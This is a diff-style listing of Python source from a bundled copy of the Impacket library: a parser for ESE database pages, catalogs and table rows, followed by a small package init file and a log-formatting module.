# Tag Flags
TAG_UNKNOWN = 0x1
TAG_DEFUNCT = 0x2
TAG_COMMON = 0x4
# Fixed Page Numbers
DATABASE_PAGE_NUMBER = 1
CATALOG_PAGE_NUMBER = 4
CATALOG_BACKUP_PAGE_NUMBER = 24
# Fixed FatherDataPages
DATABASE_FDP = 1
CATALOG_FDP = 2
CATALOG_BACKUP_FDP = 3
# Catalog Types
CATALOG_TYPE_TABLE = 1
CATALOG_TYPE_COLUMN = 2
CATALOG_TYPE_INDEX = 3
CATALOG_TYPE_LONG_VALUE = 4
CATALOG_TYPE_CALLBACK = 5
# Column Types
JET_coltypNil = 0
JET_coltypBit = 1
JET_coltypUnsignedByte = 2
JET_coltypShort = 3
JET_coltypLong = 4
JET_coltypCurrency = 5
JET_coltypIEEESingle = 6
JET_coltypIEEEDouble = 7
JET_coltypDateTime = 8
JET_coltypBinary = 9
JET_coltypText = 10
JET_coltypLongBinary = 11
JET_coltypLongText = 12
JET_coltypSLV = 13
JET_coltypUnsignedLong = 14
JET_coltypLongLong = 15
JET_coltypGUID = 16
JET_coltypUnsignedShort= 17
JET_coltypMax = 18
ColumnTypeToName = {
JET_coltypNil : 'NULL',
JET_coltypBit : 'Boolean',
JET_coltypUnsignedByte : 'Signed byte',
JET_coltypShort : 'Signed short',
JET_coltypLong : 'Signed long',
JET_coltypCurrency : 'Currency',
JET_coltypIEEESingle : 'Single precision FP',
JET_coltypIEEEDouble : 'Double precision FP',
JET_coltypDateTime : 'DateTime',
JET_coltypBinary : 'Binary',
JET_coltypText : 'Text',
JET_coltypLongBinary : 'Long Binary',
JET_coltypLongText : 'Long Text',
JET_coltypSLV : 'Obsolete',
JET_coltypUnsignedLong : 'Unsigned long',
JET_coltypLongLong : 'Long long',
JET_coltypGUID : 'GUID',
JET_coltypUnsignedShort: 'Unsigned short',
JET_coltypMax : 'Max',
}
ColumnTypeSize = {
JET_coltypNil : None,
JET_coltypBit : (1,'B'),
JET_coltypUnsignedByte : (1,'B'),
JET_coltypShort : (2,'<h'),
JET_coltypLong : (4,'<l'),
JET_coltypCurrency : (8,'<Q'),
JET_coltypIEEESingle : (4,'<f'),
JET_coltypIEEEDouble : (8,'<d'),
JET_coltypDateTime : (8,'<Q'),
JET_coltypBinary : None,
JET_coltypText : None,
JET_coltypLongBinary : None,
JET_coltypLongText : None,
JET_coltypSLV : None,
JET_coltypUnsignedLong : (4,'<L'),
JET_coltypLongLong : (8,'<Q'),
JET_coltypGUID : (16,'16s'),
JET_coltypUnsignedShort: (2,'<H'),
JET_coltypMax : None,
}
# Tagged Data Type Flags
TAGGED_DATA_TYPE_VARIABLE_SIZE = 1
TAGGED_DATA_TYPE_COMPRESSED = 2
TAGGED_DATA_TYPE_STORED = 4
TAGGED_DATA_TYPE_MULTI_VALUE = 8
TAGGED_DATA_TYPE_WHO_KNOWS = 10
# Code pages
CODEPAGE_UNICODE = 1200
CODEPAGE_ASCII = 20127
CODEPAGE_WESTERN = 1252
StringCodePages = {
CODEPAGE_UNICODE : 'utf-16le',
CODEPAGE_ASCII : 'ascii',
CODEPAGE_WESTERN : 'cp1252',
}
# Structures
TABLE_CURSOR = {
'TableData' : b'',
'FatherDataPageNumber': 0,
'CurrentPageData' : b'',
'CurrentTag' : 0,
}
class ESENT_JET_SIGNATURE(Structure):
structure = (
('Random','<L=0'),
('CreationTime','<Q=0'),
('NetBiosName','16s=b""'),
)
class ESENT_DB_HEADER(Structure):
structure = (
('CheckSum','<L=0'),
('Signature','"\xef\xcd\xab\x89'),
('Version','<L=0'),
('FileType','<L=0'),
('DBTime','<Q=0'),
('DBSignature',':',ESENT_JET_SIGNATURE),
('DBState','<L=0'),
('ConsistentPosition','<Q=0'),
('ConsistentTime','<Q=0'),
('AttachTime','<Q=0'),
('AttachPosition','<Q=0'),
('DetachTime','<Q=0'),
('DetachPosition','<Q=0'),
('LogSignature',':',ESENT_JET_SIGNATURE),
('Unknown','<L=0'),
('PreviousBackup','24s=b""'),
('PreviousIncBackup','24s=b""'),
('CurrentFullBackup','24s=b""'),
('ShadowingDisables','<L=0'),
('LastObjectID','<L=0'),
('WindowsMajorVersion','<L=0'),
('WindowsMinorVersion','<L=0'),
('WindowsBuildNumber','<L=0'),
('WindowsServicePackNumber','<L=0'),
('FileFormatRevision','<L=0'),
('PageSize','<L=0'),
('RepairCount','<L=0'),
('RepairTime','<Q=0'),
('Unknown2','28s=b""'),
('ScrubTime','<Q=0'),
('RequiredLog','<Q=0'),
('UpgradeExchangeFormat','<L=0'),
('UpgradeFreePages','<L=0'),
('UpgradeSpaceMapPages','<L=0'),
('CurrentShadowBackup','24s=b""'),
('CreationFileFormatVersion','<L=0'),
('CreationFileFormatRevision','<L=0'),
('Unknown3','16s=b""'),
('OldRepairCount','<L=0'),
('ECCCount','<L=0'),
('LastECCTime','<Q=0'),
('OldECCFixSuccessCount','<L=0'),
('ECCFixErrorCount','<L=0'),
('LastECCFixErrorTime','<Q=0'),
('OldECCFixErrorCount','<L=0'),
('BadCheckSumErrorCount','<L=0'),
('LastBadCheckSumTime','<Q=0'),
('OldCheckSumErrorCount','<L=0'),
('CommittedLog','<L=0'),
('PreviousShadowCopy','24s=b""'),
('PreviousDifferentialBackup','24s=b""'),
('Unknown4','40s=b""'),
('NLSMajorVersion','<L=0'),
('NLSMinorVersion','<L=0'),
('Unknown5','148s=b""'),
('UnknownFlags','<L=0'),
)
class ESENT_PAGE_HEADER(Structure):
structure_2003_SP0 = (
('CheckSum','<L=0'),
('PageNumber','<L=0'),
)
structure_0x620_0x0b = (
('CheckSum','<L=0'),
('ECCCheckSum','<L=0'),
)
structure_win7 = (
('CheckSum','<Q=0'),
)
common = (
('LastModificationTime','<Q=0'),
('PreviousPageNumber','<L=0'),
('NextPageNumber','<L=0'),
('FatherDataPage','<L=0'),
('AvailableDataSize','<H=0'),
('AvailableUncommittedDataSize','<H=0'),
('FirstAvailableDataOffset','<H=0'),
('FirstAvailablePageTag','<H=0'),
('PageFlags','<L=0'),
)
extended_win7 = (
('ExtendedCheckSum1','<Q=0'),
('ExtendedCheckSum2','<Q=0'),
('ExtendedCheckSum3','<Q=0'),
('PageNumber','<Q=0'),
('Unknown','<Q=0'),
)
def __init__(self, version, revision, pageSize=8192, data=None):
if (version < 0x620) or (version == 0x620 and revision < 0x0b):
# For sure the old format
self.structure = self.structure_2003_SP0 + self.common
elif version == 0x620 and revision < 0x11:
# Exchange 2003 SP1 and Windows Vista and later
self.structure = self.structure_0x620_0x0b + self.common
else:
# Windows 7 and later
self.structure = self.structure_win7 + self.common
if pageSize > 8192:
self.structure += self.extended_win7
Structure.__init__(self,data)
class ESENT_ROOT_HEADER(Structure):
structure = (
('InitialNumberOfPages','<L=0'),
('ParentFatherDataPage','<L=0'),
('ExtentSpace','<L=0'),
('SpaceTreePageNumber','<L=0'),
)
class ESENT_BRANCH_HEADER(Structure):
structure = (
('CommonPageKey',':'),
)
class ESENT_BRANCH_ENTRY(Structure):
common = (
('CommonPageKeySize','<H=0'),
)
structure = (
('LocalPageKeySize','<H=0'),
('_LocalPageKey','_-LocalPageKey','self["LocalPageKeySize"]'),
('LocalPageKey',':'),
('ChildPageNumber','<L=0'),
)
def __init__(self, flags, data=None):
if flags & TAG_COMMON > 0:
# Include the common header
self.structure = self.common + self.structure
Structure.__init__(self,data)
class ESENT_LEAF_HEADER(Structure):
structure = (
('CommonPageKey',':'),
)
class ESENT_LEAF_ENTRY(Structure):
common = (
('CommonPageKeySize','<H=0'),
)
structure = (
('LocalPageKeySize','<H=0'),
('_LocalPageKey','_-LocalPageKey','self["LocalPageKeySize"]'),
('LocalPageKey',':'),
('EntryData',':'),
)
def __init__(self, flags, data=None):
if flags & TAG_COMMON > 0:
# Include the common header
self.structure = self.common + self.structure
Structure.__init__(self,data)
class ESENT_SPACE_TREE_HEADER(Structure):
structure = (
('Unknown','<Q=0'),
)
class ESENT_SPACE_TREE_ENTRY(Structure):
structure = (
('PageKeySize','<H=0'),
('LastPageNumber','<L=0'),
('NumberOfPages','<L=0'),
)
class ESENT_INDEX_ENTRY(Structure):
structure = (
('RecordPageKey',':'),
)
class ESENT_DATA_DEFINITION_HEADER(Structure):
structure = (
('LastFixedSize','<B=0'),
('LastVariableDataType','<B=0'),
('VariableSizeOffset','<H=0'),
)
class ESENT_CATALOG_DATA_DEFINITION_ENTRY(Structure):
fixed = (
('FatherDataPageID','<L=0'),
('Type','<H=0'),
('Identifier','<L=0'),
)
column_stuff = (
('ColumnType','<L=0'),
('SpaceUsage','<L=0'),
('ColumnFlags','<L=0'),
('CodePage','<L=0'),
)
other = (
('FatherDataPageNumber','<L=0'),
)
table_stuff = (
('SpaceUsage','<L=0'),
# ('TableFlags','<L=0'),
# ('InitialNumberOfPages','<L=0'),
)
index_stuff = (
('SpaceUsage','<L=0'),
('IndexFlags','<L=0'),
('Locale','<L=0'),
)
lv_stuff = (
('SpaceUsage','<L=0'),
# ('LVFlags','<L=0'),
# ('InitialNumberOfPages','<L=0'),
)
common = (
# ('RootFlag','<B=0'),
# ('RecordOffset','<H=0'),
# ('LCMapFlags','<L=0'),
# ('KeyMost','<H=0'),
('Trailing',':'),
)
def __init__(self,data):
# Depending on the type of data we'll end up building a different struct
dataType = unpack('<H', data[4:][:2])[0]
self.structure = self.fixed
if dataType == CATALOG_TYPE_TABLE:
self.structure += self.other + self.table_stuff
elif dataType == CATALOG_TYPE_COLUMN:
self.structure += self.column_stuff
elif dataType == CATALOG_TYPE_INDEX:
self.structure += self.other + self.index_stuff
elif dataType == CATALOG_TYPE_LONG_VALUE:
self.structure += self.other + self.lv_stuff
elif dataType == CATALOG_TYPE_CALLBACK:
raise Exception('CallBack types not supported!')
else:
LOG.error('Unknown catalog type 0x%x' % dataType)
self.structure = ()
Structure.__init__(self,data)
self.structure += self.common
Structure.__init__(self,data)
#def pretty_print(x):
# if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
# return x
# else:
# return '.'
#
#def hexdump(data):
# x=str(data)
# strLen = len(x)
# i = 0
# while i < strLen:
# print "%04x " % i,
# for j in range(16):
# if i+j < strLen:
# print "%02X" % ord(x[i+j]),
#
# else:
# print " ",
# if j%16 == 7:
# print "",
# print " ",
# print ''.join(pretty_print(x) for x in x[i:i+16] )
# i += 16
def getUnixTime(t):
t -= 116444736000000000
t //= 10000000
return t
class ESENT_PAGE:
def __init__(self, db, data=None):
self.__DBHeader = db
self.data = data
self.record = None
if data is not None:
self.record = ESENT_PAGE_HEADER(self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'], self.__DBHeader['PageSize'], data)
def printFlags(self):
flags = self.record['PageFlags']
if flags & FLAGS_EMPTY:
print("\tEmpty")
if flags & FLAGS_INDEX:
print("\tIndex")
if flags & FLAGS_LEAF:
print("\tLeaf")
else:
print("\tBranch")
if flags & FLAGS_LONG_VALUE:
print("\tLong Value")
if flags & FLAGS_NEW_CHECKSUM:
print("\tNew Checksum")
if flags & FLAGS_NEW_FORMAT:
print("\tNew Format")
if flags & FLAGS_PARENT:
print("\tParent")
if flags & FLAGS_ROOT:
print("\tRoot")
if flags & FLAGS_SPACE_TREE:
print("\tSpace Tree")
def dump(self):
baseOffset = len(self.record)
self.record.dump()
tags = self.data[-4*self.record['FirstAvailablePageTag']:]
print("FLAGS: ")
self.printFlags()
print()
for i in range(self.record['FirstAvailablePageTag']):
tag = tags[-4:]
if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] > 11 and self.__DBHeader['PageSize'] > 8192:
valueSize = unpack('<H', tag[:2])[0] & 0x7fff
valueOffset = unpack('<H',tag[2:])[0] & 0x7fff
hexdump((self.data[baseOffset+valueOffset:][:6]))
pageFlags = ord(self.data[baseOffset+valueOffset:][1]) >> 5
#print "TAG FLAG: 0x%x " % (unpack('<L', self.data[baseOffset+valueOffset:][:4]) ) >> 5
#print "TAG FLAG: 0x " , ord(self.data[baseOffset+valueOffset:][0])
else:
valueSize = unpack('<H', tag[:2])[0] & 0x1fff
pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13
valueOffset = unpack('<H',tag[2:])[0] & 0x1fff
print("TAG %-8d offset:0x%-6x flags:0x%-4x valueSize:0x%x" % (i,valueOffset,pageFlags,valueSize))
#hexdump(self.getTag(i)[1])
tags = tags[:-4]
if self.record['PageFlags'] & FLAGS_ROOT > 0:
rootHeader = ESENT_ROOT_HEADER(self.getTag(0)[1])
rootHeader.dump()
elif self.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch Header
flags, data = self.getTag(0)
branchHeader = ESENT_BRANCH_HEADER(data)
branchHeader.dump()
else:
# Leaf Header
flags, data = self.getTag(0)
if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
# Space Tree
spaceTreeHeader = ESENT_SPACE_TREE_HEADER(data)
spaceTreeHeader.dump()
else:
leafHeader = ESENT_LEAF_HEADER(data)
leafHeader.dump()
# Print the leaf/branch tags
for tagNum in range(1,self.record['FirstAvailablePageTag']):
flags, data = self.getTag(tagNum)
if self.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch page
branchEntry = ESENT_BRANCH_ENTRY(flags, data)
branchEntry.dump()
elif self.record['PageFlags'] & FLAGS_LEAF > 0:
# Leaf page
if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
# Space Tree
spaceTreeEntry = ESENT_SPACE_TREE_ENTRY(data)
#spaceTreeEntry.dump()
elif self.record['PageFlags'] & FLAGS_INDEX > 0:
# Index Entry
indexEntry = ESENT_INDEX_ENTRY(data)
#indexEntry.dump()
elif self.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
# Long Page Value
raise Exception('Long value still not supported')
else:
# Table Value
leafEntry = ESENT_LEAF_ENTRY(flags, data)
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(leafEntry['EntryData'])
dataDefinitionHeader.dump()
catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(leafEntry['EntryData'][len(dataDefinitionHeader):])
catalogEntry.dump()
hexdump(leafEntry['EntryData'])
def getTag(self, tagNum):
if self.record['FirstAvailablePageTag'] < tagNum:
raise Exception('Trying to grab an unknown tag 0x%x' % tagNum)
tags = self.data[-4*self.record['FirstAvailablePageTag']:]
baseOffset = len(self.record)
for i in range(tagNum):
tags = tags[:-4]
tag = tags[-4:]
if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192:
valueSize = unpack('<H', tag[:2])[0] & 0x7fff
valueOffset = unpack('<H',tag[2:])[0] & 0x7fff
tmpData = list(self.data[baseOffset+valueOffset:][:valueSize])
pageFlags = ord(tmpData[1]) >> 5
tmpData[1] = chr(ord(tmpData[1:2]) & 0x1f)
tagData = "".join(tmpData)
else:
valueSize = unpack('<H', tag[:2])[0] & 0x1fff
pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13
valueOffset = unpack('<H',tag[2:])[0] & 0x1fff
tagData = self.data[baseOffset+valueOffset:][:valueSize]
#return pageFlags, self.data[baseOffset+valueOffset:][:valueSize]
return pageFlags, tagData
class ESENT_DB:
def __init__(self, fileName, pageSize = 8192, isRemote = False):
self.__fileName = fileName
self.__pageSize = pageSize
self.__DB = None
self.__DBHeader = None
self.__totalPages = None
self.__tables = OrderedDict()
self.__currentTable = None
self.__isRemote = isRemote
self.mountDB()
def mountDB(self):
LOG.debug("Mounting DB...")
if self.__isRemote is True:
self.__DB = self.__fileName
self.__DB.open()
else:
self.__DB = open(self.__fileName,"rb")
mainHeader = self.getPage(-1)
self.__DBHeader = ESENT_DB_HEADER(mainHeader)
self.__pageSize = self.__DBHeader['PageSize']
self.__DB.seek(0,2)
self.__totalPages = (self.__DB.tell() // self.__pageSize) -2
LOG.debug("Database Version:0x%x, Revision:0x%x"% (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision']))
LOG.debug("Page Size: %d" % self.__pageSize)
LOG.debug("Total Pages in file: %d" % self.__totalPages)
self.parseCatalog(CATALOG_PAGE_NUMBER)
def printCatalog(self):
indent = ' '
print("Database version: 0x%x, 0x%x" % (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'] ))
print("Page size: %d " % self.__pageSize)
print("Number of pages: %d" % self.__totalPages)
print()
print("Catalog for %s" % self.__fileName)
for table in list(self.__tables.keys()):
print("[%s]" % table.decode('utf8'))
print("%sColumns " % indent)
for column in list(self.__tables[table]['Columns'].keys()):
record = self.__tables[table]['Columns'][column]['Record']
print("%s%-5d%-30s%s" % (indent*2, record['Identifier'], column.decode('utf-8'),ColumnTypeToName[record['ColumnType']]))
print("%sIndexes"% indent)
for index in list(self.__tables[table]['Indexes'].keys()):
print("%s%s" % (indent*2, index.decode('utf-8')))
print("")
def __addItem(self, entry):
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])
itemName = self.__parseItemName(entry)
if catalogEntry['Type'] == CATALOG_TYPE_TABLE:
self.__tables[itemName] = OrderedDict()
self.__tables[itemName]['TableEntry'] = entry
self.__tables[itemName]['Columns'] = OrderedDict()
self.__tables[itemName]['Indexes'] = OrderedDict()
self.__tables[itemName]['LongValues'] = OrderedDict()
self.__currentTable = itemName
elif catalogEntry['Type'] == CATALOG_TYPE_COLUMN:
self.__tables[self.__currentTable]['Columns'][itemName] = entry
self.__tables[self.__currentTable]['Columns'][itemName]['Header'] = dataDefinitionHeader
self.__tables[self.__currentTable]['Columns'][itemName]['Record'] = catalogEntry
elif catalogEntry['Type'] == CATALOG_TYPE_INDEX:
self.__tables[self.__currentTable]['Indexes'][itemName] = entry
elif catalogEntry['Type'] == CATALOG_TYPE_LONG_VALUE:
self.__addLongValue(entry)
else:
raise Exception('Unknown type 0x%x' % catalogEntry['Type'])
def __parseItemName(self,entry):
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
if dataDefinitionHeader['LastVariableDataType'] > 127:
numEntries = dataDefinitionHeader['LastVariableDataType'] - 127
else:
numEntries = dataDefinitionHeader['LastVariableDataType']
itemLen = unpack('<H',entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][:2])[0]
itemName = entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][2*numEntries:][:itemLen]
return itemName
def __addLongValue(self, entry):
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
lvLen = unpack('<H',entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][:2])[0]
lvName = entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][7:][:lvLen]
self.__tables[self.__currentTable]['LongValues'][lvName] = entry
def parsePage(self, page):
# Print the leaf/branch tags
for tagNum in range(1,page.record['FirstAvailablePageTag']):
flags, data = page.getTag(tagNum)
if page.record['PageFlags'] & FLAGS_LEAF > 0:
# Leaf page
if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
pass
elif page.record['PageFlags'] & FLAGS_INDEX > 0:
pass
elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
pass
else:
# Table Value
leafEntry = ESENT_LEAF_ENTRY(flags, data)
self.__addItem(leafEntry)
def parseCatalog(self, pageNum):
# Parse all the pages starting at pageNum and commit table data
page = self.getPage(pageNum)
self.parsePage(page)
for i in range(1, page.record['FirstAvailablePageTag']):
flags, data = page.getTag(i)
if page.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch page
branchEntry = ESENT_BRANCH_ENTRY(flags, data)
self.parseCatalog(branchEntry['ChildPageNumber'])
def readHeader(self):
LOG.debug("Reading Boot Sector for %s" % self.__volumeName)
def getPage(self, pageNum):
LOG.debug("Trying to fetch page %d (0x%x)" % (pageNum, (pageNum+1)*self.__pageSize))
self.__DB.seek((pageNum+1)*self.__pageSize, 0)
data = self.__DB.read(self.__pageSize)
while len(data) < self.__pageSize:
remaining = self.__pageSize - len(data)
data += self.__DB.read(remaining)
# Special case for the first page
if pageNum <= 0:
return data
else:
return ESENT_PAGE(self.__DBHeader, data)
def close(self):
self.__DB.close()
def openTable(self, tableName):
# Returns a cursos for later use
if isinstance(tableName, bytes) is not True:
tableName = b(tableName)
if tableName in self.__tables:
entry = self.__tables[tableName]['TableEntry']
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])
catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])
# Let's position the cursor at the leaf levels for fast reading
pageNum = catalogEntry['FatherDataPageNumber']
done = False
while done is False:
page = self.getPage(pageNum)
if page.record['FirstAvailablePageTag'] <= 1:
# There are no records
done = True
for i in range(1, page.record['FirstAvailablePageTag']):
flags, data = page.getTag(i)
if page.record['PageFlags'] & FLAGS_LEAF == 0:
# Branch page, move on to the next page
branchEntry = ESENT_BRANCH_ENTRY(flags, data)
pageNum = branchEntry['ChildPageNumber']
break
else:
done = True
break
cursor = TABLE_CURSOR
cursor['TableData'] = self.__tables[tableName]
cursor['FatherDataPageNumber'] = catalogEntry['FatherDataPageNumber']
cursor['CurrentPageData'] = page
cursor['CurrentTag'] = 0
return cursor
else:
return None
def __getNextTag(self, cursor):
page = cursor['CurrentPageData']
if cursor['CurrentTag'] >= page.record['FirstAvailablePageTag']:
# No more data in this page, chau
return None
flags, data = page.getTag(cursor['CurrentTag'])
if page.record['PageFlags'] & FLAGS_LEAF > 0:
# Leaf page
if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
raise Exception('FLAGS_SPACE_TREE > 0')
elif page.record['PageFlags'] & FLAGS_INDEX > 0:
raise Exception('FLAGS_INDEX > 0')
elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
raise Exception('FLAGS_LONG_VALUE > 0')
else:
# Table Value
leafEntry = ESENT_LEAF_ENTRY(flags, data)
return leafEntry
return None
def getNextRow(self, cursor):
cursor['CurrentTag'] += 1
tag = self.__getNextTag(cursor)
#hexdump(tag)
if tag is None:
# No more tags in this page, search for the next one on the right
page = cursor['CurrentPageData']
if page.record['NextPageNumber'] == 0:
# No more pages, chau
return None
else:
cursor['CurrentPageData'] = self.getPage(page.record['NextPageNumber'])
cursor['CurrentTag'] = 0
return self.getNextRow(cursor)
else:
return self.__tagToRecord(cursor, tag['EntryData'])
def __tagToRecord(self, cursor, tag):
# So my brain doesn't forget, the data record is composed of:
# Header
# Fixed Size Data (ID < 127)
# The easiest to parse. Their size is fixed in the record. You can get its size
# from the Column Record, field SpaceUsage
# Variable Size Data (127 < ID < 255)
# At VariableSizeOffset you get an array of two bytes per variable entry, pointing
# to the length of the value. Values start at:
# numEntries = LastVariableDataType - 127
# VariableSizeOffset + numEntries * 2 (bytes)
# Tagged Data ( > 255 )
# After the Variable Size Value, there's more data for the tagged values.
# Right at the beginning there's another array (taggedItems), pointing to the
# values, size.
#
# The interesting thing about this DB records is there's no need for all the columns to be there, hence
# saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If
# not, the column's empty.
#
# There are a lot of caveats in the code, so take your time to explore it.
#
# ToDo: Better complete this description
#
record = OrderedDict()
taggedItems = OrderedDict()
taggedItemsParsed = False
dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag)
#dataDefinitionHeader.dump()
variableDataBytesProcessed = (dataDefinitionHeader['LastVariableDataType'] - 127) * 2
prevItemLen = 0
tagLen = len(tag)
fixedSizeOffset = len(dataDefinitionHeader)
variableSizeOffset = dataDefinitionHeader['VariableSizeOffset']
columns = cursor['TableData']['Columns']
for column in list(columns.keys()):
columnRecord = columns[column]['Record']
#columnRecord.dump()
if columnRecord['Identifier'] <= dataDefinitionHeader['LastFixedSize']:
# Fixed Size column data type, still available data
record[column] = tag[fixedSizeOffset:][:columnRecord['SpaceUsage']]
fixedSizeOffset += columnRecord['SpaceUsage']
elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:
# Variable data type
index = columnRecord['Identifier'] - 127 - 1
itemLen = unpack('<H',tag[variableSizeOffset+index*2:][:2])[0]
if itemLen & 0x8000:
# Empty item
itemLen = prevItemLen
record[column] = None
else:
itemValue = tag[variableSizeOffset+variableDataBytesProcessed:][:itemLen-prevItemLen]
record[column] = itemValue
#if columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:
variableDataBytesProcessed +=itemLen-prevItemLen
prevItemLen = itemLen
elif columnRecord['Identifier'] > 255:
# Have we parsed the tagged items already?
if taggedItemsParsed is False and (variableDataBytesProcessed+variableSizeOffset) < tagLen:
index = variableDataBytesProcessed+variableSizeOffset
#hexdump(tag[index:])
endOfVS = self.__pageSize
firstOffsetTag = (unpack('<H', tag[index+2:][:2])[0] & 0x3fff) + variableDataBytesProcessed+variableSizeOffset
while True:
taggedIdentifier = unpack('<H', tag[index:][:2])[0]
index += 2
taggedOffset = (unpack('<H', tag[index:][:2])[0] & 0x3fff)
# As of Windows 7 and later ( version 0x620 revision 0x11) the
# tagged data type flags are always present
if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192:
flagsPresent = 1
else:
flagsPresent = (unpack('<H', tag[index:][:2])[0] & 0x4000)
index += 2
if taggedOffset < endOfVS:
endOfVS = taggedOffset
taggedItems[taggedIdentifier] = (taggedOffset, tagLen, flagsPresent)
#print "ID: %d, Offset:%d, firstOffset:%d, index:%d, flag: 0x%x" % (taggedIdentifier, taggedOffset,firstOffsetTag,index, flagsPresent)
if index >= firstOffsetTag:
# We reached the end of the variable size array
break
# Calculate length of variable items
# Ugly.. should be redone
prevKey = list(taggedItems.keys())[0]
for i in range(1,len(taggedItems)):
offset0, length, flags = taggedItems[prevKey]
offset, _, _ = list(taggedItems.items())[i][1]
taggedItems[prevKey] = (offset0, offset-offset0, flags)
#print "ID: %d, Offset: %d, Len: %d, flags: %d" % (prevKey, offset0, offset-offset0, flags)
prevKey = list(taggedItems.keys())[i]
taggedItemsParsed = True
# Tagged data type
if columnRecord['Identifier'] in taggedItems:
offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[columnRecord['Identifier']][0]
itemSize = taggedItems[columnRecord['Identifier']][1]
# If item have flags, we should skip them
if taggedItems[columnRecord['Identifier']][2] > 0:
itemFlag = ord(tag[offsetItem:offsetItem+1])
offsetItem += 1
itemSize -= 1
else:
itemFlag = 0
#print "ID: %d, itemFlag: 0x%x" %( columnRecord['Identifier'], itemFlag)
if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED ):
LOG.error('Unsupported tag column: %s, flag:0x%x' % (column, itemFlag))
record[column] = None
elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE:
# ToDo: Parse multi-values properly
LOG.debug('Multivalue detected in column %s, returning raw results' % (column))
record[column] = (hexlify(tag[offsetItem:][:itemSize]),)
else:
record[column] = tag[offsetItem:][:itemSize]
else:
record[column] = None
else:
record[column] = None
# If we understand the data type, we unpack it and cast it accordingly
# otherwise, we just encode it in hex
if type(record[column]) is tuple:
# A multi value data, we won't decode it, just leave it this way
record[column] = record[column][0]
elif columnRecord['ColumnType'] == JET_coltypText or columnRecord['ColumnType'] == JET_coltypLongText:
# Let's handle strings
if record[column] is not None:
if columnRecord['CodePage'] not in StringCodePages:
raise Exception('Unknown codepage 0x%x'% columnRecord['CodePage'])
stringDecoder = StringCodePages[columnRecord['CodePage']]
try:
record[column] = record[column].decode(stringDecoder)
except Exception:
LOG.debug("Exception:", exc_info=True)
LOG.debug('Fixing Record[%r][%d]: %r' % (column, columnRecord['ColumnType'], record[column]))
record[column] = record[column].decode(stringDecoder, "replace")
pass
else:
unpackData = ColumnTypeSize[columnRecord['ColumnType']]
if record[column] is not None:
if unpackData is None:
record[column] = hexlify(record[column])
else:
unpackStr = unpackData[1]
record[column] = unpack(unpackStr, record[column])[0]
return record

1
tools/MultiRelay/impacket-dev/impacket/examples/__init__.py Normal file
View File

@@ -0,0 +1 @@
pass

59
tools/MultiRelay/impacket-dev/impacket/examples/logger.py Normal file
View File

@@ -0,0 +1,59 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: This logger is intended to be used by impacket instead
# of printing directly. This will allow other libraries to use their
# custom logging implementation.
#
import logging
import sys
# This module can be used by scripts using the Impacket library
# in order to configure the root logger to output events
# generated by the library with a predefined format
# If the scripts want to generate log entries, they can write
# directly to the root logger (logging.info, debug, etc).
class ImpacketFormatter(logging.Formatter):
'''
Prefixing logged messages through the custom attribute 'bullet'.
'''
def __init__(self):
logging.Formatter.__init__(self,'%(bullet)s %(message)s', None)
def format(self, record):
if record.levelno == logging.INFO:
record.bullet = '[*]'
elif record.levelno == logging.DEBUG:
record.bullet = '[+]'
elif record.levelno == logging.WARNING:
record.bullet = '[!]'
else:
record.bullet = '[-]'
return logging.Formatter.format(self, record)
class ImpacketFormatterTimeStamp(ImpacketFormatter):
'''
Prefixing logged messages through the custom attribute 'bullet'.
'''
def __init__(self):
logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None)
def formatTime(self, record, datefmt=None):
return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S")
def init(ts=False):
# We add a StreamHandler and formatter to the root logger
handler = logging.StreamHandler(sys.stdout)
if not ts:
handler.setFormatter(ImpacketFormatter())
else:
handler.setFormatter(ImpacketFormatterTimeStamp())
logging.getLogger().addHandler(handler)
